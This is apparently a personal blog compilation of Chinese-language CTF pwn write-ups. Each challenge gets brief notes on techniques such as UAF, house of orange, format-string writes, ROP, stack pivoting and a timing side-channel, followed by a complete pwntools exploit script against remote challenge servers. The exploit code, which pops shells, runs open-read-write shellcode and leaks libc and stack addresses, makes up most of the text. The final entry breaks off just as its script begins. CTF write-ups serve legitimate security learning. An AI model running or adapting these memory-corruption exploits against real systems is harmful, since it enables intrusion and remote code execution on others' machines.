ccb_veh
堆风水
2.31开沙盒禁用execve UAF,指针保留最后一次分配的堆块指针
所以我们创建2个大小不同的堆块分别实现泄露libc和栈地址,ret地址写orw 第一个堆块可以重复释放,修改低字节打stdout
,半个字节1/16概率stdout
泄露libc和栈地址
然后第二个堆块负责劫持ret地址,这里劫持的是退出主函数的ret 将ret地址写orw即可 (最开始打hook的时候多创建了一个堆块,删掉也可以
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./veh")
io=remote("47.104.16.93",4551)
elf=ELF("./veh")
libc=ELF("./libc-2.31.so")
def add(n):
io.sendlineafter(b"choice:\n",b"1")
io.sendlineafter(b"size:\n",str(n))
def edit(cc):
io.sendlineafter(b"choice:\n",b"2")
io.sendafter(b"contents:\n",cc)
def delete():
io.sendlineafter(b"choice:\n",b"3")
# gdb.attach(io)
# pause()
stdout=libc.sym[b"_IO_2_1_stdout_"]
print("stdout: ",hex(stdout))
add(0x100)
delete()
add(0x90)
add(0x90)
add(0x90)
delete()
edit(b"gap")
for i in range(3):
add(0x150)
delete()
add(0x100)
delete()
for i in range(7):
edit(p64(0)*2)
delete()
edit(b"\xa0\x26")
add(0x100)
add(0x100)
edit(p64(0xfbad1887)+p64(0)*3+b"\x00")
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x1ec980
print("leak_addr: "+hex(leak_addr))
malloc_hook=leak_addr+libc.sym[b"__malloc_hook"]
free_hook=leak_addr+libc.sym[b"__free_hook"]
open_a=leak_addr+libc.sym[b"open"]
read_a=leak_addr+libc.sym[b"read"]
write_a=leak_addr+libc.sym[b"write"]
environ=leak_addr+libc.sym[b"__environ"]
edit(p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8))
stack_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("stack_addr: "+hex(stack_addr))
ret_addr=stack_addr-0x100
pop_rdi=leak_addr+0x23b6a
pop_rsi=leak_addr+0x2601f
pop_rdx=leak_addr+0x142c92
#open
orw=b"./flag\x00\x00"+p64(pop_rdi)+p64(ret_addr-8)+p64(pop_rsi)+p64(0)+p64(open_a)
#read
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack_addr+0x300)+p64(pop_rdx)+p64(0x50)+p64(read_a)
#write
orw+=p64(pop_rdi)+p64(1)+p64(pop_rdx)+p64(0x50)+p64(write_a)
add(0x150)
delete()
for i in range(7):
edit(p64(0)*2)
delete()
# gdb.attach(io)
# pause()
edit(p64(ret_addr-8))
add(0x150)
add(0x150)
edit(orw)
io.sendlineafter(b"choice:\n",b"4")
# add(0x90)
# delete()
# for i in range(3):
# edit(p64(0)*2)
# delete()
# edit(p64(malloc_hook))
# add(0x90)
# add(0x90)
# edit(p64(ret_addr+8))
# gdb.attach(io)
# pause()
# payload=p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8)
# payload=payload.ljust(147,b"\x00")+p64(free_hook)
# edit(payload)
# add(0x100)
io.interactive()
ccb_chal
这道题赛场环境我只能hh了
本质上利用uaf改值进入game2()
,然后打shellcode
开了沙盒,用openat,pread,writev
绕就完了
from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./chal")
# io=remote("47.94.205.47",29706)
def add(n,s):
io.sendlineafter(b"relax\n",b"1")
io.sendlineafter(b"idx:\n",str(n))
io.sendlineafter(b"much:\n",str(s))
def delete(n):
io.sendlineafter(b"relax\n",b"2")
io.sendlineafter(b"one:\n",str(n))
def edit(n,cc):
io.sendlineafter(b"relax\n",b"3")
io.sendlineafter(b"one:\n",str(n))
io.sendafter(b"content:\n",cc)
# gdb.attach(io)
# pause()
io.recvuntil(b"is at ")
age_addr=int(io.recvuntil(b",",drop=True),16)
print("age_addr : ",hex(age_addr))
add(1,0x70)
add(0,0x70)
delete(1)
# edit(1,p64(0)*2)
delete(0)
# edit(0,p64(0)*2)
edit(0,p64(age_addr))
add(2,0x70)
add(3,0x70)
edit(3,str(0x100))
# gdb.attach(io)
# pause()
io.sendlineafter(b"relax\n",b"4")
io.recvuntil(b"me?\n")
payload = asm('mov rax, 0x67616c66; push rax; mov rdi, 0xffffff9c; mov rsi,rsp; xor rdx,rdx; mov rax,257;syscall;') #openat flag
# payload = asm('mov rax, 0x67616c66; push rax; mov rdi,rsp; xor rsi,rsi; xor rdx,rdx; mov rax,2;syscall;') #open flag
payload += asm(shellcraft.pread(3,0x10500,0x100,0))
payload += asm(shellcraft.writev(1,0x10100,1))
payload = payload.ljust(0x100,b"\x00")+flat(0x10500,0x100)
io.send(payload)
io.interactive()
blackhat_qual_profile:
整数溢出导致的任意地址写,partial relro
可写got表
手动构造一个格式化字符串漏洞泄露地址最后打one_gadget
注意构造顺序和发送细节
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./profile")
# io=remote("54.78.163.105",31321)
elf=ELF("./profile")
libc=elf.libc
# gdb.attach(io)
# pause()
# exit_g=0x404068
# free_g=0x404018
exit_g=elf.plt[b"exit"]
### free to main
io.recvuntil(b"Age: ")
idx=(1<<63)-(1<<64)+0x8040401800aaaaaa
payload=str(idx)
io.sendline(payload)
io.sendlineafter(b"Name: ",b"\x8c\x13\x40")
# io.sendlineafter(b"Name: ",p64(0x40138c)[:-1])
### exit to _start
io.recvuntil(b"Age: ")
idx=(1<<63)-(1<<64)+0x8040406800aaaaaa
payload=str(idx)
io.sendline(payload)
io.sendlineafter(b"Name: ",b"\xb0\x11\x40")
### free to print
io.recvuntil(b"Age: ")
idx=(1<<63)-(1<<64)+0x8040401800aaaaaa
payload=str(idx)
io.sendline(payload)
io.sendlineafter(b"Name: ",b"\x20\x11\x40")
### leak
io.recvuntil(b"Age: ")
io.sendline(b"1")
io.sendlineafter(b"Name: ",b"%11$p")
io.recvuntil(b"0x")
leak_addr=int(io.recv(12),16)-0x29d90
print("leak_addr: ",hex(leak_addr))
sys_addr=leak_addr+libc.sym[b"system"]
shell=leak_addr+0x50a37
### free to one_gadget
io.recvuntil(b"Age: ")
idx=(1<<63)-(1<<64)+0x8040401800aaaaaa
payload=str(idx)
io.sendline(payload)
io.sendlineafter(b"Name: ",p64(sys_addr))
io.interactive()
# 0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# rbp == NULL || (u16)[rbp] == NULL
# 0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 0xebcf5 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL
# 0xebcf8 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
sunshine_flock:
套娃函数,每次退回上一层函数时判断ret地址值是否对应,得注意一下布栈
退到某一层发现了栈上已经写好了接下来的顺序
最后根据偏移将对应返回地址处改为后门函数地址getshell
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./flock")
io=remote("chal.2023.sunshinectf.games",23002)
elf=ELF("./flock")
# gdb.attach(io.pid)
# pause()
win=0x4011bd
io.recvuntil(b"At ")
stack_addr=int(io.recv(14),16)
print("stack_addr: ",hex(stack_addr))
io.recvuntil(b">>> ")
payload=p64(0x4012a0)+p64(stack_addr+0x98)
payload=payload.ljust(0x80,b"a")
payload+=p64(stack_addr+0xa0)+p64(0x401276)+p64(0x4012a0)*2
payload+=p64(stack_addr+0xc0)+p64(0x4012a0)
payload+=p64(0x402048)+p64(0x4012ca)
payload+=p64(stack_addr+0xe0)+p64(0x4012ca)
payload+=p64(0)+p64(0x4012f0)
payload+=p64(stack_addr+0xe0+0x10)+p64(0x4012f0)
payload+=p64(stack_addr+0xe0+0x20)+p64(win)
# payload+=p64(0x4012a0)
io.send(payload)
io.interactive()
balsn_babypwn2023:
此题3种解法
标准解法是栈迁移
两种非预期一种是XNUCA2018_gets
爆one_gadget
另外一种是利用再次读入时读的时lock_file的IO结构体上存在地址,可以泄露
不过值得注意的是这种方式泄露出的地址会根据内核版本有所不同,因为泄露的地址不在libc上
我的WSL2的ubuntu恰好跟docker里面提供的一样,最后的偏移也一样
同样glibc patch之后的ubuntu虚拟机偏移就有所不同了,这种解法运气成份偏多
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./chall")
# io=remote("babypwn2023.balsnctf.com",10105)
elf=ELF("./chall")
libc=elf.libc
# libc=ELF("./libc.so.6")
puts_plt=elf.plt[b"puts"]
puts_got=elf.got[b"puts"]
gdb.attach(io)
pause()
payload=cyclic(0x28)+p64(elf.plt[b"gets"])+p64(elf.plt[b"puts"])+p64(elf.sym[b"main"])
io.sendline(payload)
payload=p64(0)*2+p32(0xdeadbeef)+b"\x00\x00\x00"
io.sendline(payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3b8740
print("leak_addr: ",hex(leak_addr))
pop_rdi=leak_addr+next(libc.search(asm("pop rdi; ret")))
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
payload=cyclic(0x28)+p64(pop_rdi)+p64(str_sh)+p64(sys_addr)
io.sendline(payload)
io.interactive()
asis_2023_hipwn:
保护全开,此题最开始尝试利用ssp leak,劫持 __libc_argv[0]
打印出flag,但是glibc版本太高已经修复了这个利用
进而考虑正常leak,利用puts任意地址泄露,leak出canary和libc即可正常rop
(不知道给的任意地址写 \x00
有啥用
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./chall_p")
libc=ELF("./libc.so.6")
io=remote("45.153.243.57",1337)
# elf=ELF("./chall")
# gdb.attach(io)
# pause()
# def zr(i):
# io.sendlineafter(b"much???\n",str(0x48+i))
# io.sendafter(b"content\n",b"a")
# io.recvuntil(b"?\n")
# io.sendline(str(0x539))
# for i in range(8):
# zr(i)
# gdb.attach(io)
# pause()
#1
io.sendlineafter(b"much???\n",str(0x300))
io.sendafter(b"content\n",b"a"*0x48+b".")
io.recvuntil(b".")
canary=u64(io.recv(7).rjust(8,b"\x00"))
print("canary: ",hex(canary))
io.recvuntil(b"?\n")
io.sendline(str(0x539))
# gdb.attach(io)
# pause()
#2
io.sendlineafter(b"much???\n",str(0x400))
io.sendafter(b"content\n",b"a"*0xf8)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-128-libc.sym[b"__libc_start_main"]
print("leak_addr: ",hex(leak_addr))
pop_rdi=leak_addr+0x2a3e5
sys_addr=leak_addr+libc.sym[b"system"]
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
ret=leak_addr+0xf8098
io.recvuntil(b"?\n")
io.sendline(str(0x539))
#3
io.sendlineafter(b"much???\n",str(0x400))
io.sendafter(b"content\n",cyclic(0x48)+p64(canary)+p64(0)+p64(ret)+p64(pop_rdi)+p64(str_sh)+p64(sys_addr))
io.recvuntil(b"?\n")
io.sendline(b"1")
io.interactive()
asis_2023_text_editor:
主函数给了3个函数, edit_text,save_text,show_error
edit_text
将用户输入存入text地址处
save_text
将用户刚才输入的内容写入栈上
show_error
存在格式化字符串漏洞,可以打印距离text一段固定偏移处(0x100)的值指向的内容
可以利用 edit_text
和 show_error
泄露出libc和canary(后者其实没必要
之后利用格式化字符串漏洞劫持 show_error
的ret地址,one_gadget此题爆不了
可以 ret+0x8,ret+0x10,ret+0x18
写rop,最后一次劫持到ret上触发rop即可
exp:
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./chall")
io=remote("45.153.243.57",13337)
elf=ELF("./chall")
libc=ELF("./libc.so.6")
def edit(cc):
io.sendlineafter(b"> ",b"1")
io.sendafter(b"text: ",cc)
def save():
io.sendlineafter(b"> ",b"2")
def exit():
io.sendlineafter(b"> ",b"3")
def pf():
io.sendlineafter(b"> ",b"4")
# gdb.attach(io)
# pause()
#leak libc_addr
payload=b"\x00"*0x100+b"\x40\x81"
edit(payload)
save()
pf()
sleep(1)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x21a780
print("leak_addr: ",hex(leak_addr))
pop_rdi=leak_addr+0x2a3e5
pop_rsp=leak_addr+0x35732
ret=leak_addr+0xf8098
sys_addr=leak_addr+libc.sym[b"system"]
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
environ=leak_addr+libc.sym[b"__environ"]
#leak stack_addr
payload=b"\x00"*0x100+p64(environ)
edit(payload)
save()
pf()
sleep(1)
stack_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("stack_addr: ",hex(stack_addr))
begin_addr=stack_addr-0x238
print("begin_addr: ",hex(begin_addr))
ret_addr=begin_addr+0x118
print("ret_addr: ",hex(ret_addr))
canary_addr=stack_addr-0x130
print("canary_addr: ",hex(canary_addr))
#leak canary
payload=b"\x00"*0x100+p64(canary_addr+1)
edit(payload)
save()
pf()
sleep(1)
canary=u64(io.recv(7).rjust(8,b"\x00"))
print("canary: ",hex(canary))
shell=leak_addr+0xebdb3
#fmt 1
payload=fmtstr_payload(10,{ret_addr+0x8:p64(pop_rdi)},write_size='short')
payload=payload.ljust(0x100,b"\x00")+p64(begin_addr)
edit(payload)
save()
pf()
sleep(1)
#fmt 2
payload=fmtstr_payload(10,{ret_addr+0x10:p64(str_sh)},write_size='short')
payload=payload.ljust(0x100,b"\x00")+p64(begin_addr)
edit(payload)
save()
pf()
sleep(1)
#fmt 3
payload=fmtstr_payload(10,{ret_addr+0x18:p64(sys_addr)},write_size='short')
payload=payload.ljust(0x100,b"\x00")+p64(begin_addr)
edit(payload)
save()
pf()
sleep(1)
#fmt 4
payload=fmtstr_payload(10,{ret_addr:p64(ret)},write_size='short')
payload=payload.ljust(0x100,b"\x00")+p64(begin_addr)
edit(payload)
save()
pf()
exit()
io.interactive()
# 0x50a37 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# rbp == NULL || (u16)[rbp] == NULL
# 0xebcf1 execve("/bin/sh", r10, [rbp-0x70])
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 0xebcf5 execve("/bin/sh", r10, rdx)
# constraints:
# address rbp-0x78 is writable
# [r10] == NULL || r10 == NULL
# [rdx] == NULL || rdx == NULL
# 0xebcf8 execve("/bin/sh", rsi, rdx)
# constraints:
# address rbp-0x78 is writable
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
# 0xebd52 execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [r12] == NULL || r12 == NULL
# 0xebdaf execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x48 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
# 0xebdb3 execve("/bin/sh", rbp-0x50, [rbp-0x70])
# constraints:
# address rbp-0x50 is writable
# [rbp-0x50] == NULL || rbp-0x50 == NULL
# [[rbp-0x70]] == NULL || [rbp-0x70] == NULL
0xGame_2023_lenlim-shellcode-ora
侧信道爆破flag
from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwn")
# elf=ELF("./pwn")
read_shellcode=asm('''
mov edi,0
push 0x2023000d
pop rsi
syscall
''')
def exp(dis,char):
shellcode = asm('''
push 0x67616c66
push 0x2
pop rax
mov rdi,rsp
xor rsi,rsi
syscall
mov rdi,rax
xor rax,rax
mov rsi,0x20230300
push 0x50
pop rdx
syscall
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz loop
mov al,60
syscall
loop:
jmp loop
'''.format(dis,char))
io.send(shellcode)
flag = "0xGame{N0_SHELLCODE_NEXT_TIME_PLZ"
for i in range(len(flag),50):
sleep(1)
log.success("flag : {}".format(flag))
for j in range(0x20,0x80):
# io = process('./pwn')
io=remote("8.130.35.16",54000)
try:
payload=read_shellcode
io.sendafter(b"code:\n",payload)
io.recvuntil(b"machanism...\n")
exp(i,j)
io.recvline(timeout=1)
flag += chr(j)
io.send('\n')
log.success("{} pos : {} success".format(i,chr(j)))
io.close()
break
except:
io.close()
# io.interactive()
newstar2023_week5_no_output:
淀粉极客linkmap弱化版,linkmap那道得自己找gadget,这道题直接把libc地址写bss段上了,直接partial write
改write,提前布置好寄存器顺带栈迁移过去泄露就可以了
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwn")
io=remote("node4.buuoj.cn",27515)
elf=ELF("./pwn")
libc=ELF("./libc-2.31.so")
pop_rdi=0x401253
pop_rsi_r15=0x401251
pop_rbp=0x40112d
a_addr=0x404050
bss_addr=0x404800
read_text=0x4011c1
read_plt=elf.plt[b"read"]
leave_ret=0x4011ea
# gdb.attach(io)
# pause()
payload=b"\x00"*0x70+p64(a_addr+0x50)+p64(pop_rsi_r15)+p64(a_addr+8)*2+p64(read_plt)
io.send(payload)
sleep(0.5)
payload=p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(bss_addr+0x400)*2+p64(read_plt)+p64(pop_rbp)+p64(bss_addr+0x400-0x8)+p64(leave_ret)
io.send(payload)
sleep(0.5)
payload=b"\x00"*0x70+p64(a_addr+0x50)+p64(pop_rsi_r15)+p64(a_addr)*2+p64(read_plt)+p64(pop_rsi_r15)+p64(elf.got[b"read"])*2+p64(pop_rdi)+p64(1)+p64(pop_rbp)+p64(0x404050-0x8)+p64(leave_ret)
io.send(payload)
# gdb.attach(io)
# pause()
io.send(b"\x60\x30")
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"read"]
print("leak_addr: ",hex(leak_addr))
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
payload=p64(pop_rdi)+p64(str_sh)+p64(sys_addr)
io.send(payload)
io.interactive()
# Gadgets information
# ============================================================
# 0x00000000004011ea : leave ; ret
# 0x000000000040124c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040124e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401250 : pop r14 ; pop r15 ; ret
# 0x0000000000401252 : pop r15 ; ret
# 0x000000000040124b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040124f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040112d : pop rbp ; ret
# 0x0000000000401253 : pop rdi ; ret
# 0x0000000000401251 : pop rsi ; pop r15 ; ret
# 0x000000000040124d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret
newstar_week5_planet:
这道题有可以任意命令执行的后门函数,但是我们需要绕过验证才能进入
这里我们直接把验证里面生成随机字符串所引用的那一串ascii字符表全部覆盖为1即可
本来week5还有一道pin码侧信道的,就是今年国赛lojin的弱化版,网上一搜就有脚本的,那个8位这个只有6位,但是网络环境挺抽象的,难绷,不放了
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwn")
io=remote("node4.buuoj.cn",25518)
elf=ELF("./pwn")
def Jump():
io.sendlineafter(b"\n>",b"Jump")
def GetName():
io.sendlineafter(b"\n>",b"GetName")
def Rename(cc):
io.sendlineafter(b"\n>",b"Rename")
io.sendlineafter(b"name\n",cc)
def GoBack(cc):
io.sendlineafter(b"\n>",b"GoBack")
io.sendline(cc)
def Check():
io.sendlineafter(b"\n>",b"Check")
def Search():
io.sendlineafter(b"\n>",b"Search")
def Nap():
io.sendlineafter(b"\n>",b"Nap")
def Admin(cc):
io.sendlineafter(b"\n>",b"Admin")
io.sendlineafter(b"passwd\n> ",cc)
psss=b"secret_passwd_anti_bad_guys"
# gdb.attach(io)
# pause()
io.sendlineafter(b"Passwd: ",psss)
Nap()
# for i in range(11):
# Nap()
# Jump()
GetName()
Rename(b"a"*0x10)
GetName()
io.recvuntil(b"a"*0x10)
abcd_addr=u64(io.recv(6).ljust(8,b"\x00"))+0x10
print("abcd_addr: ",hex(abcd_addr))
sleep(1)
GetName()
Rename(b"b"*0x18+p64(abcd_addr))
Jump()
GetName()
Rename(b"1"*0x21)
Admin(b"1"*0x1e)
io.sendlineafter(b"exec\n> ",b"cat flag")
io.interactive()
axb_ezheap:
当时直接跳过house of orange去看house of apple...
此题GLIBC 2.23 11.03,house of orange的模板题
题目最开始给出堆地址
通过1次add之后的堆溢出写修改top chunk
,需要注意内存页对齐,prev_inuse=1
再add一次大的申请出修改过后的old top chunk
进入unsorted bin
再通过add申请到unsorted bin
以此泄露libc
之后伪造IO_FILE
结构体,2.23可以对vtable
无检查,vtable
伪造到可控堆地址即可
然后保证伪造到的地址+0x18
处也可控,即vtable[3]
可控,此处是__overflow
,修改为system
地址
修改unsorted bin
bk为_IO_list_all-0x10
,后面unsorted bin attack
后再分配一个堆块,利用_chain
标志位,此标志位正好位于_IO_FILE
结构体0x60处,指向下一个文件流,溢出写unsorted bin
size为0x61
, 属于 smallbin
,这个大小的 smallbin
相对 unsorted bin
的偏移,与 _chain
相对 _IO_list_all
的偏移是一样的,使得_IO_list_all
指向unsorted bin
而修改后的unsorted bin
再次malloc时会报错,路径如下
malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp
_IO_flush_all_lockp
遍历文件流,报错处理 _chain
指向的下一个文件流,所以利用unsorted bin
伪造IO_FILE
结构体
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])
io=process("./pwn")
# io=remote("node4.anna.nssctf.cn",28437)
elf=ELF("./pwn")
libc=ELF("./libc-2.23.so")
def add(s,cc):
io.sendlineafter("choice : ","1")
io.sendlineafter("it\n",str(s))
io.sendafter(b"Name?\n",cc)
def edit(s,cc):
io.sendlineafter("choice : ","2")
io.sendlineafter("it\n",str(s))
io.sendafter(b"name\n",cc)
def show():
io.sendlineafter("choice : ","3")
# gdb.attach(io.pid)
# pause()
heap_addr=int(io.recvline(),16)-0x10
print("heap_addr:",hex(heap_addr))
add(0x68,b"a")
edit(0x6f,b"\x00"*0x68+b"\x71\x0f\x00")
add(0xf70,b"a")
add(0x80,b"a"*8)
show()
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x3c5188
print("leak_addr:",hex(leak_addr))
_IO_list_all=leak_addr+libc.sym[b"_IO_list_all"]
sys_addr=leak_addr+libc.sym[b"system"]
fake_vtable=heap_addr+0x268
add(0x68,b"asd")
padding=b"a"*0x60
fakefile=b"/bin/sh\x00"+p64(0x61) #_flags -> /bin/sh
fakefile+=p64(0)+p64(_IO_list_all-0x10) #bk-> _IO_list_all-0x10
fakefile+=p64(0)+p64(1)
fakefile=fakefile.ljust(0xc0,b"\x00")
fakefile+=p64(0)*3
fakefile+=p64(fake_vtable)+p64(0)*2+p64(sys_addr) # fake_vtable+0x18 (vtable[3]) -> &sys_addr
padding+=fakefile
edit(len(padding),padding)
io.sendlineafter("choice : ","1")
gdb.attach(io.pid)
pause()
io.sendlineafter("it\n",b"1") #local
# io.sendlineafter("it\n",str(0x100)) #remote
# io.sendline(b"cat flag")
io.interactive()
YukkuriSay
循环内输入泄露栈地址和libc
最后一次循环内布置跳板
循环外有一次格式化字符串的机会,可以利用刚才我们布置的跳板修改printf
的got表为sys_addr
以及修改ret_addr
再一次输入/bin/sh\x00
来getshell
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./vuln")
io=remote("node5.anna.nssctf.cn",28513)
elf=ELF("./vuln")
libc=elf.libc
io.sendafter(b"say?\n",cyclic(0x98))
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"_IO_2_1_stderr_"]
print("leak_addr: ",hex(leak_addr))
pop_rdi=leak_addr+0x23b6a
pop_rsi=leak_addr+0x2601f
pop_rdx=leak_addr+0x142c92
ret=leak_addr+0x142c92
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
sys_addr=leak_addr+libc.sym[b"system"]
shell=leak_addr+0xe3b01
io.sendlineafter(b"/n)\n",b"y")
io.send(b"b"*0xff+b".")
io.recvuntil(b".")
stack_addr=u64(io.recv(6).ljust(8,b"\x00"))
ret_addr=stack_addr-0x8
print("stack_addr: ",hex(stack_addr))
io.sendlineafter(b"/n)\n",b"y")
payload=p64(elf.got[b"printf"])
payload+=p64(ret_addr)
payload+=p64(ret_addr+1)
payload+=p64(elf.got[b"printf"]+1)
payload+=p64(elf.got[b"printf"]+2)
io.send(payload)
s1=sys_addr&0xff
s2=(sys_addr>>8)&0xff
s3=(sys_addr>>16)&0xff
gift1=0x401678&0xff
gift2=(0x401678>>8)&0xff
# gdb.attach(io)
# pause()
io.sendlineafter(b"/n)\n",b"n")
payload="%{}c%{}$hhn".format(s1,8) #布置跳板在栈上偏移为8
payload+="%{}c%{}$hhn".format(0x100+gift1-s1,9) #防止被减数小于减数的情况发生
payload+="%{}c%{}$hhn".format(0x100+gift2-gift1,10)
payload+="%{}c%{}$hhn".format(0x100+s2-gift2,11)
payload+="%{}c%{}$hhn".format(0x100+s3-s2,12)
io.sendafter(b": \n",payload)
sleep(1)
io.send(b"/bin/sh\x00")
io.interactive()
# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
# [r15] == NULL || r15 == NULL
# [r12] == NULL || r12 == NULL
# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
# [r15] == NULL || r15 == NULL
# [rdx] == NULL || rdx == NULL
# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
# [rsi] == NULL || rsi == NULL
# [rdx] == NULL || rdx == NULL
西湖论剑_babycalc:
没有溢出
z3解方程,将解出的值放入对应位置即可
首先存在rbp存在一个off_by_one
,可以改写rbp低1字节,使得rbp可以指向我们可控栈区(概率)
其次存在一个var_38[idx]=iVar1
,idx
为我们可控字段,即循环的i
值,iVar1
也可控,我们最开始输入的16进制值通过strtol
转化为iVar1
可以写一字节使ret低一字节为0x18
使得其变为leave; ret
在可控栈区我们可以放入大量ret
充当sled
,然后放入rop链,最后就可以栈迁移到我们的可控栈区执行rop链
第一次我们泄露libc,第二次就可以getshell
from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])
io=remote("node4.anna.nssctf.cn",28769)
# io=process("./babycalc")
elf=ELF("./babycalc")
libc=elf.libc
bss_addr=0x6024E0
pop_rdi=0x400ca3
ret=0x4005b9
start=0x400650
payload1=str(0x18).encode().ljust(8,b"\x00")+p64(ret)*21+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(start)
# 0x18 to change rbp+0x8 low 1 byte
payload2=p8(0x13)+p8(0x24)+p8(0x35)+p8(0x46)+p8(55)+p8(66)+p8(17)+p8(161)+p8(50)+p8(131)+p8(212)+p8(101)+p8(118)+p8(199)+p8(24)+p8(3)
payload=payload1+payload2
payload=payload.ljust(0xfc,b"a")+p32(0x38)
# payload 0x100-> rbp low 1 byte -> \x00 -> point to stack
# var_38[0x39] -> rbp+0x1 -> change nop to leave
io.sendafter(b":",payload)
leak_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-libc.sym[b"puts"]
print("leak_addr: ",hex(leak_addr))
sys_addr=leak_addr+libc.sym[b"system"]
str_sh=leak_addr+next(libc.search(b"/bin/sh"))
################
# gdb.attach(io)
# pause()
payload1=str(0x18).encode().ljust(8,b"\x00")+p64(ret)*21+p64(pop_rdi)+p64(str_sh)+p64(sys_addr)
payload1=payload1.ljust(0xd0,b"a")
# 0x18 to change rbp+0x8 low 1 byte
payload2=p8(0x13)+p8(0x24)+p8(0x35)+p8(0x46)+p8(55)+p8(66)+p8(17)+p8(161)+p8(50)+p8(131)+p8(212)+p8(101)+p8(118)+p8(199)+p8(24)+p8(3)
payload=payload1+payload2
payload=payload.ljust(0xfc,b"a")+p32(0x38)
io.sendafter(b":",payload)
io.interactive()
# Gadgets information
# ============================================================
# 0x0000000000400c9c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c9e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400ca0 : pop r14 ; pop r15 ; ret
# 0x0000000000400ca2 : pop r15 ; ret
# 0x0000000000400c9b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c9f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000004006b0 : pop rbp ; ret
# 0x0000000000400ca3 : pop rdi ; ret
# 0x0000000000400ca1 : pop rsi ; pop r15 ; ret
# 0x0000000000400c9d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004005b9 : ret
pcb2023_silent
Full Relro,只给了个read,人太蠢了找不到magic gadget,只有暴力
这里我劫持栈上的残留的一块libc中地址,找的gadget在libc偏移为0x110130
大概率事件是爆3位,
返回的是write+64
,溢出空间足够控制寄存器的值,可以leak出read的libc地址
然后返回_start
,然后往bss段上写orw shellcode
返回_start
,mprotect赋予bss段rwx权限后再次返回_start
,溢出跳转执行shellcode即可
from pwn import *
